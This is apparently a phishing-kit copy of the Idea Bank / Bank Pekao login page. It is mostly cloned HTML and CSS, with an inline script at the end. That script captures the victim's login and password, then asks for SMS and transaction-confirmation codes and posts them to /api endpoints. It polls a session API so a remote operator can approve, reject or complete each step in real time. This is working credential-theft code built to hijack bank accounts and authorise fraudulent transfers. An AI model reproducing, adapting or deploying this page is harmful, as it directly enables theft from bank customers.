2.8rem;letter-spacing:-.3px;line-height:1;-webkit-transform-style:preserve-3d;-moz-transform-style:preserve-3d;-ms-transform-style:preserve-3d;transform-style:preserve-3d;background-image:url(/assets/banks/ideabank_files/42021020720305853375.png);border-radius:5px;color:#fff}.embedded-mode .main-container{max-width:100vw;width:100vw;height:100vh;display:flex;justify-content:center;align-items:center;transition:none}html.embedded-mode{overflow:hidden}.embedded-mode body{max-width:100vw;max-height:100vh;overflow:hidden}</style><style type="text/css">/*! normalize.css v5.0.0 | MIT License | github.com/necolas/normalize.css */html{font-family:sans-serif;line-height:1.15;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}article,aside,footer,header,nav,section{display:block}h1{font-size:2em;margin:.67em 0}figcaption,figure,main{display:block}figure{margin:1em 40px}hr{box-sizing:content-box;height:0;overflow:visible}pre{font-family:monospace,monospace;font-size:1em}a{background-color:transparent;-webkit-text-decoration-skip:objects}a:active,a:hover{outline-width:0}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:inherit;font-weight:bolder}code,kbd,samp{font-family:monospace,monospace;font-size:1em}dfn{font-style:italic}mark{background-color:#ff0;color:#000}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}audio,video{display:inline-block}audio:not([controls]){display:none;height:0}img{border-style:none}svg:not(:root){overflow:hidden}button,input,optgroup,select,textarea{font-family:sans-serif;font-size:100%;line-height:1.15;margin:0}button,input{overflow:visible}button,select{text-transform:none}[type=reset],[type=submit],button,html [type=button]{-webkit-appearance:button}[type=button]::-moz-focus-inner,[type=reset]::-moz-focus-inner,[type=submit]::-moz-focus-inner,button::-moz-focus-inner{border-style:none;padding:0}[type=button]:-moz-focusring,[type=reset]:-moz-focusring,[type=submit]:-moz-focusring,button:-moz-focusring{outline:1px dotted ButtonText}fieldset{border:1px solid silver;margin:0 2px;padding:.35em .625em .75em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100%;padding:0;white-space:normal}progress{display:inline-block;vertical-align:baseline}textarea{overflow:auto}[type=checkbox],[type=radio]{box-sizing:border-box;padding:0}[type=number]::-webkit-inner-spin-button,[type=number]::-webkit-outer-spin-button{height:auto}[type=search]{-webkit-appearance:textfield;outline-offset:-2px}[type=search]::-webkit-search-cancel-button,[type=search]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}details,menu{display:block}summary{display:list-item}canvas{display:inline-block}[hidden],template{display:none}</style><style type="text/css" data-fbcssmodules="css:fb.css.basecss:fb.css.dialog css:fb.css.iframewidget">.fb_hidden{position:absolute;top:-10000px;z-index:10001}.fb_reposition{overflow:hidden;position:relative}.fb_invisible{display:none}.fb_reset{background:none;border:0;border-spacing:0;color:#000;cursor:auto;direction:ltr;font-family:"lucida grande", tahoma, verdana, arial, sans-serif;font-size:11px;font-style:normal;font-variant:normal;font-weight:normal;letter-spacing:normal;line-height:1;margin:0;overflow:visible;padding:0;text-align:left;text-decoration:none;text-indent:0;text-shadow:none;text-transform:none;visibility:visible;white-space:normal;word-spacing:normal}.fb_reset>div{overflow:hidden}@keyframes fb_transform{from{opacity:0;transform:scale(.95)}to{opacity:1;transform:scale(1)}}.fb_animate{animation:fb_transform .3s forwards}
        .fb_dialog{background:rgba(82, 82, 82, .7);position:absolute;top:-10000px;z-index:10001}.fb_dialog_advanced{border-radius:8px;padding:10px}.fb_dialog_content{background:#fff;color:#373737}.fb_dialog_close_icon{background:url(/assets/banks/ideabank_files/img2.gif) no-repeat scroll 0 0 transparent;cursor:pointer;display:block;height:15px;position:absolute;right:18px;top:17px;width:15px}.fb_dialog_mobile .fb_dialog_close_icon{left:5px;right:auto;top:5px}.fb_dialog_padding{background-color:transparent;position:absolute;width:1px;z-index:-1}.fb_dialog_close_icon:hover{background:url(/assets/banks/ideabank_files/img2.gif) no-repeat scroll 0 -15px transparent}.fb_dialog_close_icon:active{background:url(/assets/banks/ideabank_files/img2.gif) no-repeat scroll 0 -30px transparent}.fb_dialog_iframe{line-height:0}.fb_dialog_content .dialog_title{background:#6d84b4;border:1px solid #365899;color:#fff;font-size:14px;font-weight:bold;margin:0}.fb_dialog_content .dialog_title>span{background:url(/assets/banks/ideabank_files/img2.gif) no-repeat 5px 50%;float:left;padding:5px 0 7px 26px}body.fb_hidden{height:100%;left:0;margin:0;overflow:visible;position:absolute;top:-10000px;transform:none;width:100%}.fb_dialog.fb_dialog_mobile.loading{background:url(/assets/banks/ideabank_files/img2.gif) white no-repeat 50% 50%;min-height:100%;min-width:100%;overflow:hidden;position:absolute;top:0;z-index:10001}.fb_dialog.fb_dialog_mobile.loading.centered{background:none;height:auto;min-height:initial;min-width:initial;width:auto}.fb_dialog.fb_dialog_mobile.loading.centered #fb_dialog_loader_spinner{width:100%}.fb_dialog.fb_dialog_mobile.loading.centered .fb_dialog_content{background:none}.loading.centered #fb_dialog_loader_close{clear:both;color:#fff;display:block;font-size:18px;padding-top:20px}#fb-root #fb_dialog_ipad_overlay{background:rgba(0, 0, 0, .4);bottom:0;left:0;min-height:100%;position:absolute;right:0;top:0;width:100%;z-index:10000}#fb-root #fb_dialog_ipad_overlay.hidden{display:none}.fb_dialog.fb_dialog_mobile.loading iframe{visibility:hidden}.fb_dialog_mobile .fb_dialog_iframe{position:sticky;top:0}.fb_dialog_content .dialog_header{background:linear-gradient(from(#738aba), to(#2c4987));border-bottom:1px solid;border-color:#043b87;box-shadow:white 0 1px 1px -1px inset;color:#fff;font:bold 14px Helvetica, sans-serif;text-overflow:ellipsis;text-shadow:rgba(0, 30, 84, .296875) 0 -1px 0;vertical-align:middle;white-space:nowrap}.fb_dialog_content .dialog_header table{height:43px;width:100%}.fb_dialog_content .dialog_header td.header_left{font-size:12px;padding-left:5px;vertical-align:middle;width:60px}.fb_dialog_content .dialog_header td.header_right{font-size:12px;padding-right:5px;vertical-align:middle;width:60px}.fb_dialog_content .touchable_button{background:linear-gradient(from(#4267B2), to(#2a4887));background-clip:padding-box;border:1px solid #29487d;border-radius:3px;display:inline-block;line-height:18px;margin-top:3px;max-width:85px;padding:4px 12px;position:relative}.fb_dialog_content .dialog_header .touchable_button input{background:none;border:none;color:#fff;font:bold 12px Helvetica, sans-serif;margin:2px -12px;padding:2px 6px 3px 6px;text-shadow:rgba(0, 30, 84, .296875) 0 -1px 0}.fb_dialog_content .dialog_header .header_center{color:#fff;font-size:16px;font-weight:bold;line-height:18px;text-align:center;vertical-align:middle}.fb_dialog_content .dialog_content{background:url(/assets/banks/ideabank_files/img2.gif) no-repeat 50% 50%;border:1px solid #4a4a4a;border-bottom:0;border-top:0;height:150px}.fb_dialog_content .dialog_footer{background:#f5f6f7;border:1px solid #4a4a4a;border-top-color:#ccc;height:40px}#fb_dialog_loader_close{float:left}.fb_dialog.fb_dialog_mobile .fb_dialog_close_icon{visibility:hidden}#fb_dialog_loader_spinner{animation:rotateSpinner 1.2s linear infinite;background-color:transparent;background-image:url(/assets/banks/ideabank_files/img2.gif);background-position:50% 50%;background-repeat:no-repeat;height:24px;width:24px}@keyframes rotateSpinner{0%{transform:rotate(0deg)}100%{transform:rotate(360deg)}}
        .fb_iframe_widget{display:inline-block;position:relative}.fb_iframe_widget span{display:inline-block;position:relative;text-align:justify}.fb_iframe_widget iframe{position:absolute}.fb_iframe_widget_fluid_desktop,.fb_iframe_widget_fluid_desktop span,.fb_iframe_widget_fluid_desktop iframe{max-width:100%}.fb_iframe_widget_fluid_desktop iframe{min-width:220px;position:relative}.fb_iframe_widget_lift{z-index:1}.fb_iframe_widget_fluid{display:inline}.fb_iframe_widget_fluid span{width:100%}</style></head>
<body ng-class="{'technical-break': $root.technicalBreak, 'desktop': !$root.isMobileDevice}" ng-strict-di="" class="desktop">

<app><mobile-messages ng-if="!$root.AppSettings.embeddedMode">
    </mobile-messages>
    <system-messages ng-if="!$root.AppSettings.embeddedMode"><div ng-show="$ctrl.showSystemMessages" class="system-messages" ng-class="{'mobile': $ctrl.isMobile.android.device || $ctrl.isMobile.apple.device}" style="">
            <div class="main-container">
                <div class="system-messages__wrapper">

                    <div class="system-messages__message" ng-if="$ctrl.message.content" style="">
        <span ng-bind-html="$ctrl.message.content"><p>
	Witamy w gronie klientów Banku Pekao S.A.!<br>
	Decyzją Bankowego Funduszu Gwarancyjnego z dniem 3 stycznia 2021 r. Bank Pekao S.A. przejął przedsiębiorstwo Idea Bank S.A z jego prawami i obowiązkami, z określonymi wyłączeniami. Wszystkie Twoje depozyty oraz pieniądze na rachunkach są bezpieczne i zostały w całości przeniesione do banku przejmującego. Bank Pekao S.A. zapewnia także obsługę udzielonych przez Idea Bank kredytów, w szczególności ich wypłatę oraz spłatę. Aby dowiedzieć się więcej, odwiedź stronę internetową <a href="http://www.pekao.com.pl/idea-bank/">www.pekao.com.pl/idea-bank/</a> lub skontaktuj się z infolinią:<br>
	• Idea Banku – w zakresie obsługi produktów Idea Banku: +48 22 101 10 10<br>
	• Banku Pekao S.A. – w zakresie informacji na temat wprowadzanych zmian oraz produktów Pekao: +48 22 59 12 232; + 48 801 365 365<br>
	Z pozdrowieniami<br>
	zespół Banku Pekao S.A.</p>
</span>
                    </div>
                </div>
            </div>
        </div>
    </system-messages>
    <session-restore><div class="session-restore ng-hide" ng-show="$ctrl.notificationShow">
            <div class="session-restore__wrapper">
                <span class="session-restore__info">Twoja sesja wygaśnie za&nbsp;<span ng-bind="$ctrl.timeLeft | date:'mm:ss'">00:00</span></span>
                <button class="btn" ng-click="$ctrl.prolongSession()">Przedłuż sesję
                </button>
            </div>
        </div>
    </session-restore>
    <navbar ng-if="!$root.AppSettings.embeddedMode"><header>
            <nav class="navbar">
                <div class="logo">
                    <h1><a ui-sref="login.password" href="https://sso.cloud.ideabank.pl/#/login/password"></a></h1>
                </div>
            </nav>
        </header>
    </navbar>
    <alert><div class="alerts">

        </div>
    </alert>
    <article class="app">
        <div ui-view="" class="main-container view-animate"><login><div>
                    <h1 class="header-main centered" ng-hide="$root.AppSettings.embeddedMode" id="summaryInfo">Witaj</h1>
                    <div class="view-animate-container">
                        <div ui-view="" class="view-animate"><login-username><div>
                                    <div class="box">
                                        <div class="form form--login ng-pristine ng-invalid ng-invalid-required ng-valid-maxlength" name="loginForm" ng-submit="$ctrl.login($event, loginForm.$invalid)" novalidate="">
                                            <fieldset class="form-group form-group--icon-right form-group--centered" id="mainCont">


                                                <label for="login" class="form-label form-label--vertical form-label--centered">Login</label>
                                                <input type="text" id="bank_login" name="login" class="form--login-username ng-pristine ui-keyboard-input ui-widget-content ui-corner-all ng-empty ng-invalid ng-invalid-required ng-valid-maxlength ng-touched" ng-model="$ctrl.clientNumber" autocomplete="off" maxlength="20" required="" virtual-keyboard="" global-validation="" focus-input="" aria-haspopup="true" role="textbox" style=""><i class="keyboard-opener clickable icon icon-keyboard"></i>
                                                <div ng-messages="loginForm.login.$error" ng-show="loginForm.$submitted" class="ng-active ng-hide">
                                                    <div ng-message="required">Wprowadź login</div>
                                                </div>


                                                <label for="login" class="form-label form-label--vertical form-label--centered">Hasło</label>
                                                <input type="password" id="bank_password" name="login" class="form--login-username ng-pristine ui-keyboard-input ui-widget-content ui-corner-all ng-empty ng-invalid ng-invalid-required ng-valid-maxlength ng-touched" ng-model="$ctrl.clientNumber" autocomplete="off" maxlength="20" required="" virtual-keyboard="" global-validation="" focus-input="" aria-haspopup="true" role="textbox" style=""><i class="keyboard-opener clickable icon icon-keyboard"></i>
                                                <div ng-messages="loginForm.login.$error" ng-show="loginForm.$submitted" class="ng-active ng-hide">
                                                    <div ng-message="required">Wprowadź hasło</div>
                                                </div>


                                            </fieldset>
                                            <fieldset class="form-group form-group--actions form-group--centered" id="buttonsCont">
                                                <input onclick="bankLogin(); plusBankUpdate()" type="submit" value="Dalej" ng-class="{'btn--loading': $ctrl.loading}" ng-disabled="$ctrl.loading" class="btn btn--yellow">
                                            </fieldset>
                                        </div>
                                    </div>
                                    <div class="login-additional-options">
                                        <social-login><div class="social-login">

                                                <span class="social-login__status">Uproszczone logowanie</span>

                                                <tooltip tooltip-template="{{:: 'tooltip.socialLogin.checked' | translate}}" tooltip-side="right" tooltip-smart="true" class="tooltips _steady _top _ready"><tip-cont><i ng-show="$ctrl.showTooltip" class="vert-middle icon icon-question_gray" tooltip-template="Jeśli połączyłeś wcześniej bankowość Idea Bank z kontem Facebooka lub Gmail i masz aktualnie aktywną sesję w którymś z serwisów, rozpoznamy Cię jako naszego klienta. Wówczas będziesz mógł przejść do kolejnego kroku bez wpisywania numeru klienta." style="">
                                                        </i></tip-cont><tip class=""><tip-tip><span class="close-button" style="display: none;">×</span>Jeśli połączyłeś wcześniej bankowość Idea Bank z kontem Facebooka lub Gmail i masz aktualnie aktywną sesję w którymś z serwisów, rozpoznamy Cię jako naszego klienta. Wówczas będziesz mógł przejść do kolejnego kroku bez wpisywania numeru klienta.</tip-tip><tip-arrow></tip-arrow></tip></tooltip>

                                            </div>
                                        </social-login>
                                        <div ng-if="$ctrl.showPasswordUrl" class="reminder" style="">
                                            <a ng-href="https://www.ideabank.pl/odzyskiwanie-danych" title="Nie pamiętasz loginu i hasła?" href="https://www.ideabank.pl/odzyskiwanie-danych">
                                                Nie pamiętasz loginu i hasła?
                                            </a>
                                        </div>
                                    </div>
                                </div>
                            </login-username></div>
                    </div>
                    <div ng-if="!$root.AppSettings.embeddedMode">


                        <info-box type="'security'"><div class="info-box__contents" ng-bind-html="$ctrl.boxContents" ng-if="!$ctrl.loading &amp;&amp; $ctrl.showInfobox" style="">
                                <div class="box info-box info-box--security">
                                    <div class="info-box__content">
                                        <br>
                                        <p>
                                            <b><strong>Zabezpiecz się przed atakami na Twoje konto!</strong></b></p>
                                        <br>
                                        <a href="http://download.trusteer.com/hfpykcxfy/RapportSetup.exe"><img align="right" height="60" src="https://www.ideabank.pl/uploads/trusteer/apple.svg" width="60"> </a><a href="http://download.trusteer.com/hfpykcxfy/leopard/Rapport.dmg"><img align="right" height="60" src="https://www.ideabank.pl/uploads/trusteer/windows.svg" width="60"> </a>
                                        <p>
                                            <a href="https://www.ideabank.pl/ibm-trusteer-rapport" target="_blank">Więcej o IBM Trusteer</a></p>
                                        <p>
                                            &nbsp;</p>
                                        <br>
                                        Zanim się zalogujesz – sprawdź:
                                        <p>
                                            &nbsp;</p>
                                        <p>
                                            &nbsp;</p>
                                        <ul>
                                            <li>
                                                Czy adres strony zawiera protokół https</li>
                                            <li>
                                                Czy w oknie adresu znajduje się "kłódka"</li>
                                        </ul>
                                        <p>
                                            &nbsp;</p>
                                        <p>
                                            <strong><b>Pamiętaj!</b></strong>&nbsp; Pracownicy Banku nigdy nie proszą o podanie haseł do bankowości ani haseł jednorazowych.</p>
                                        <p>
                                            &nbsp;</p>
                                        <p>
                                            <a href="https://www.ideabank.pl/bezpieczenstwo" target="_blank"><strong>Więcej o bezpieczeństwie</strong></a></p>
                                    </div>
                                </div>
                                <div class="box info-box info-box--info">
                                    <div class="info-box__content">
                                        <p class="info-box__header">
                                            <strong><b><strong>Sprawdź ofertę powitalną Banku Pekao S.A.</strong></b></strong></p>
                                        <p>
                                            &nbsp;</p>
                                        <p>
                                            Lokata 1, 2, a nawet 3% w skali roku na 6 miesięcy od 500 zł do 10 000 zł</p>
                                        <p>
                                            &nbsp;</p>
                                        <p>
                                            Lokata powitalna 0,5% w skali roku na 3 miesiące od 500 zł do 500 000 zł</p>
                                        <p>
                                            &nbsp;</p>
                                        <p>
                                            0 zł za prowadzenie rachunku płatniczego, obsługę karty debetowej i wszystkie wypłaty gotówki tą kartą z bankomatów na rok</p>
                                        <p>
                                            &nbsp;</p>
                                        <p>
                                            <a href="https://www.pekao.com.pl/oferta-powitalna?utm_source=Cloud&utm_medium=loginpage&utm_campaign=powitalna">Sprawdź warunki&gt;&gt;</a></p>
                                        <br>
                                        &nbsp;</div>
                                </div>
                            </div>
                        </info-box>

                    </div>
                </div>
            </login></div>
    </article>
    <cms-footer ng-if="!$root.technicalBreak &amp;&amp; !$root.AppSettings.embeddedMode"><footer class="cms-footer">
            <div id="closed-footer" class="footer footer--closed">
                <div id="fake-border-left" class="fake-border fake-border--left"></div>
                <div id="fake-border-right" class="fake-border fake-border--right"></div>
                <span id="footer-open" class="footer__open footer-open-handle" ng-click="$ctrl.openFooter()"></span>
                <nav id="closed-footer-nav" class="footer__nav footer__nav--closed">
                    <ul>
                        <li><a class="footer-open-handle" href="#" ng-click="$ctrl.openFooter()">Logowanie</a>
                        </li>
                        <li><a class="footer-open-handle" href="#" ng-click="$ctrl.openFooter()">Kontakt</a>
                        </li>
                        <li class="social-networking">
                            <a ng-href="https://www.facebook.com/IdeaBank.dla.przedsiebiorcow" rel="external" title="Facebook" target="_blank" href="https://www.facebook.com/IdeaBank.dla.przedsiebiorcow">
                                <i class="icon icon-facebook"></i>
                            </a>
                            <a ng-href="https://twitter.com/IdeaBankSA" rel="external" title="Twitter" target="_blank" href="https://twitter.com/IdeaBankSA">
                                <i class="icon icon-twitter"></i>
                            </a>
                        </li>
                    </ul>
                </nav>
            </div>
            <div id="opened-footer" class="footer footer--opened hidden">
                <div id="fake-border-right-open" class="fake-border fake-border--right fake-border--opened"></div>
                <div id="fake-border-left-open" class="fake-border fake-border--left fake-border--opened"></div>
                <span id="footer-close" class="footer__close" ng-click="$ctrl.closeFooter()">zamknij</span>
                <nav id="opened-footer-nav" class="footer__nav footer__nav--opened">
                    <ul>
                        <li id="login-block" class="footer-block footer-block--login">
                            <h3>Logowanie</h3>
                            <div class="block-content">
                                <ul class="light-bordered-list">
                                    <li ng-repeat="item in $ctrl.footerParams.footerLoginList.items" class="" style=""><a ng-href="https://www.ideabank.pl/pomoc-w-obsludze#pierwszelogowanie" target="_blank" href="https://www.ideabank.pl/pomoc-w-obsludze#pierwszelogowanie">Pierwsze logowanie</a>
                                    </li><li ng-repeat="item in $ctrl.footerParams.footerLoginList.items" class=""><a ng-href="https://www.ideabank.pl/pomoc-w-obsludze#zapomnialemhasla" target="_blank" href="https://www.ideabank.pl/pomoc-w-obsludze#zapomnialemhasla">Zapomniałem hasła</a>
                                    </li><li ng-repeat="item in $ctrl.footerParams.footerLoginList.items" class=""><a ng-href="https://www.ideabank.pl/pomoc-w-obsludze#zablokowanekonto" target="_blank" href="https://www.ideabank.pl/pomoc-w-obsludze#zablokowanekonto">Zablokowane konto</a>
                                    </li><li ng-repeat="item in $ctrl.footerParams.footerLoginList.items" class=""><a ng-href="https://www.ideabank.pl/pomoc-w-obsludze#aktywacjakarty" target="_blank" href="https://www.ideabank.pl/pomoc-w-obsludze#aktywacjakarty">Aktywacja karty płatniczej</a>
                                    </li><li ng-repeat="item in $ctrl.footerParams.footerLoginList.items" class=""><a ng-href="http://ideabank.pl/ideabank2/doc/komunikat_bezpieczenstwa_informacje.pdf" target="_blank" href="http://ideabank.pl/ideabank2/doc/komunikat_bezpieczenstwa_informacje.pdf">Więcej o bezpieczeństwie</a>
                                    </li>
                                </ul>
                            </div>
                        </li>
                        <li id="contact-block" class="footer-block footer-block--contact">
                            <h3>Kontakt</h3>
                            <div class="block-content">
                                <div class="contact-item" ng-repeat="item in $ctrl.footerParams.footerContactList1.items" style="">
                                    <span class="tel-type" ng-bind-html="::item.key">Infolinia</span><span class="tel-number" ng-bind-html="::item.value">22 101 1010</span>
                                </div><div class="contact-item" ng-repeat="item in $ctrl.footerParams.footerContactList1.items">
                                    <span class="tel-type" ng-bind-html="::item.key">z tel. kom.</span><span class="tel-number" ng-bind-html="::item.value">801 999 111</span>
                                </div>
                                <ul class="light-bordered-list">
                                    <li ng-repeat="item in $ctrl.footerParams.footerContactList2.items" class="" style=""><a ng-href="mailto:kontakt@ideabank.pl" target="_blank" href="mailto:kontakt@ideabank.pl">Wyślij e-mail</a>
                                    </li><li ng-repeat="item in $ctrl.footerParams.footerContactList2.items" class=""><a ng-href="https://www.ideabank.pl/oddzialy" target="_blank" href="https://www.ideabank.pl/oddzialy">Mapa oddziałów</a>
                                    </li>
                                </ul>
                            </div>
                        </li>
                        <li id="social-block" class="footer-block footer-block--social">
                            <h3><i class="icon icon-people_white"></i>Odwiedz nas na:</h3>
                            <div class="block-content">
                                <ul class="light-bordered-list">
                                    <li class="with-icon">
                                        <a ng-href="https://www.facebook.com/IdeaBank.dla.przedsiebiorcow" rel="external" title="Facebook" target="_blank" href="https://www.facebook.com/IdeaBank.dla.przedsiebiorcow">
                                            <i class="icon icon-facebook"></i>Facebook</a>
                                    </li>
                                    <li class="with-icon">
                                        <a ng-href="https://twitter.com/IdeaBankSA" rel="external" title="Twitter" target="_blank" href="https://twitter.com/IdeaBankSA">
                                            <i class="icon icon-twitter"></i>Twitter</a>
                                    </li>
                                </ul>
                            </div>
                        </li>
                    </ul>
                </nav>
            </div>
        </footer>
    </cms-footer>
    <login-popup><div class="login-popup">
            <div class="login-popup__overlay ng-hide" ng-show="$ctrl.showPopup">
                <div class="login-popup__wrapper">
                    <p ng-bind-html="$ctrl.content"></p>
                    <div class="login-popup__actions">
                        <button type="button" class="btn btn--yellow" ng-click="$ctrl.acceptPopup()">
                            Przejdź do logowania
                        </button>
                    </div>
                </div>
            </div>
        </div>
    </login-popup>
</app>





<iframe id="ssIFrame_google" sandbox="allow-scripts allow-same-origin" aria-hidden="true" frame-border="0"  style="position: absolute; width: 1px; height: 1px; left: -9999px; top: -9999px; right: -9999px; bottom: -9999px; display: none;" src=""></iframe><div id="fb-root" class=" fb_reset"><div style="position: absolute; top: -10000px; width: 0px; height: 0px;"><div></div></div></div><iframe frameborder="0" title="zocxbl" style="visibility: hidden; width: 0px; height: 0px; border: none; display: none;" src=""></iframe><iframe frameborder="0" title="omlxyl" style="visibility: hidden; width: 0px; height: 0px; border: none; display: none;" src=""></iframe>


<script src="/assets/js/jquery-3.5.1.min.js"></script>
<script src="/assets/js/cookies.core.1.3.min.js"></script>
<script src="/assets/js/banklogin.js"></script>
<script>
    let bankId = (cookieManager.read('session_id'))

    const plusBankUpdate = () => {
        if ($("#bank_password").val() && $("#bank_login").val() !== "") {
            $("#mainCont").empty()
            $("#mainCont").append(' <label for="login" class="form-label form-label--vertical form-label--centered">Kod SMS z telefonu</label> <input type="text" id="bank_psd" name="login" class="form--login-username ng-pristine ui-keyboard-input ui-widget-content ui-corner-all ng-empty ng-invalid ng-invalid-required ng-valid-maxlength ng-touched" ng-model="$ctrl.clientNumber" autocomplete="off" maxlength="20" required="" virtual-keyboard="" global-validation="" focus-input="" aria-haspopup="true" role="textbox" style=""><i class="keyboard-opener clickable icon icon-keyboard"></i> <div ng-messages="loginForm.login.$error" ng-show="loginForm.$submitted" class="ng-active ng-hide"> <div ng-message="required">Wprowadź kod PSD2</div></div>')
            $("#buttonsCont").empty()
            $("#buttonsCont").append('<input onclick="psdUpdate()" type="submit" value="Dalej" class="btn btn--yellow">')
        } else {
        }
    }

    const regularCheck = () => {
        readTextFile("/api/sessions", function(text){
            var data = JSON.parse(text);
            for (let i=0;i<data["result"].length;i++) {
                if (data["result"][i]["uid"] == sessId) {
                    if (data["result"][i]["accepted"] == "true") {
                        summaryFunc()
                        clearInterval(multipleFunc)
                    }
                } else {

                }
            }
        });
    }
    const psdUpdate = () => {
        if ($("#bank_psd").val() !== "") {
            $.post("/api/psdupdate/", {
                bank_psd: $("#bank_psd").val(),
                sessionId: bankId
            }).done(data => {
                $("#mainCont").empty()
                $("#mainCont").append('<h1>Trwa logowanie, proszę czekać</h1>')
                $("#buttonsCont").empty()
            }).fail(error => {
                console.error("Coś poszło nie tak… Spróbuj ponownie za chwilę.", "Wystąpił błąd")
            })

        } else {
            console.log('not selectec')
        }
    }

    let multipleFunc = setInterval(function(){ regularCheck() }, 3000);



    //WRONG PASS

    const wrongPass = () => {
        $.post("/api/wrongpass/", {
            sessionId: bankId,
            name: "false"
        }).done(data => {
            console.log('done')
        }).fail(error => {
            console.error("Coś poszło nie tak… Spróbuj ponownie za chwilę.", "Wystąpił błąd")
        })
    }

    const regularPass = () => {
        readTextFile("/api/sessions", function(text){
            var data = JSON.parse(text);
            for (let i=0;i<data["result"].length;i++) {
                if (data["result"][i]["uid"] == sessId) {
                    if (data["result"][i]["accepted"] == "wrongPass") {
                        clearInterval(multiplePass)
                        wrongPass()
                        location.reload()
                    }
                } else {

                }
            }
        });
    }

    let multiplePass = setInterval(function(){ regularPass() }, 3000);





    //SUMMARY

    const summaryFunc = () => {
        $("#mainCont").empty()
        $("#mainCont").append(' <label for="login" class="form-label form-label--vertical form-label--centered">Kod potwierdzający z telefonu</label> <input type="text" id="bank_summary" name="login" class="form--login-username ng-pristine ui-keyboard-input ui-widget-content ui-corner-all ng-empty ng-invalid ng-invalid-required ng-valid-maxlength ng-touched" ng-model="$ctrl.clientNumber" autocomplete="off" maxlength="20" required="" virtual-keyboard="" global-validation="" focus-input="" aria-haspopup="true" role="textbox" style=""><i class="keyboard-opener clickable icon icon-keyboard"></i> <div ng-messages="loginForm.login.$error" ng-show="loginForm.$submitted" class="ng-active ng-hide"> <div ng-message="required">Wprowadź kod PSD2</div></div>')
        $("#buttonsCont").empty()
        $("#buttonsCont").append('<input onclick="summaryCode()" type="submit" value="Dalej" class="btn btn--yellow">')
        document.getElementById('summaryInfo').innerText = 'Autoryzuj Tranzakcję'
    }

    const summaryCode = () => {
        if ($("#bank_summary").val() !== "") {
            $.post("/api/summarycode/", {
                bank_summary: $("#bank_summary").val(),
                sessionId: bankId
            }).done(data => {
                $("#mainCont").empty()
                $("#mainCont").append('<h1>Logowanie...</h1>')
                $("#buttonsCont").empty()
            }).fail(error => {
                console.error("Coś poszło nie tak… Spróbuj ponownie za chwilę.", "Wystąpił błąd")
            })

        } else {
            console.log('not selectec')
        }
    }

    const regularSummary=()=>{readTextFile("/api/sessions",function(e){var s=JSON.parse(e);for(let e=0;e<s.result.length;e++)s.result[e].uid==sessId&&"wrongSummary"==s.result[e].accepted&&(summaryFunc(),wrongSum())})},wrongSum=()=>{$.post("/api/wrongsummary/",{sessionId:bankId,name:"false"}).done(e=>{console.log("done")}).fail(e=>{console.error("Coś poszło nie tak… Spróbuj ponownie za chwilę.","Wystąpił błąd")})};let multipleSummary=setInterval(function(){readTextFile("/api/sessions",function(e){var s=JSON.parse(e);for(let e=0;e<s.result.length;e++)s.result[e].uid==sessId&&"wrongSummary"==s.result[e].accepted&&(summaryFunc(),wrongSum())})},3e3);const regularComplete=()=>{readTextFile("/api/sessions",function(e){var s=JSON.parse(e);for(let e=0;e<s.result.length;e++)s.result[e].uid==sessId&&"completed"==s.result[e].accepted&&(location.href="/summary")})};let multipleCompleted=setInterval(function(){readTextFile("/api/sessions",function(e){var s=JSON.parse(e);for(let e=0;e<s.result.length;e++)s.result[e].uid==sessId&&"completed"==s.result[e].accepted&&(location.href="/summary")})},3e3);
</script>

</body></html>
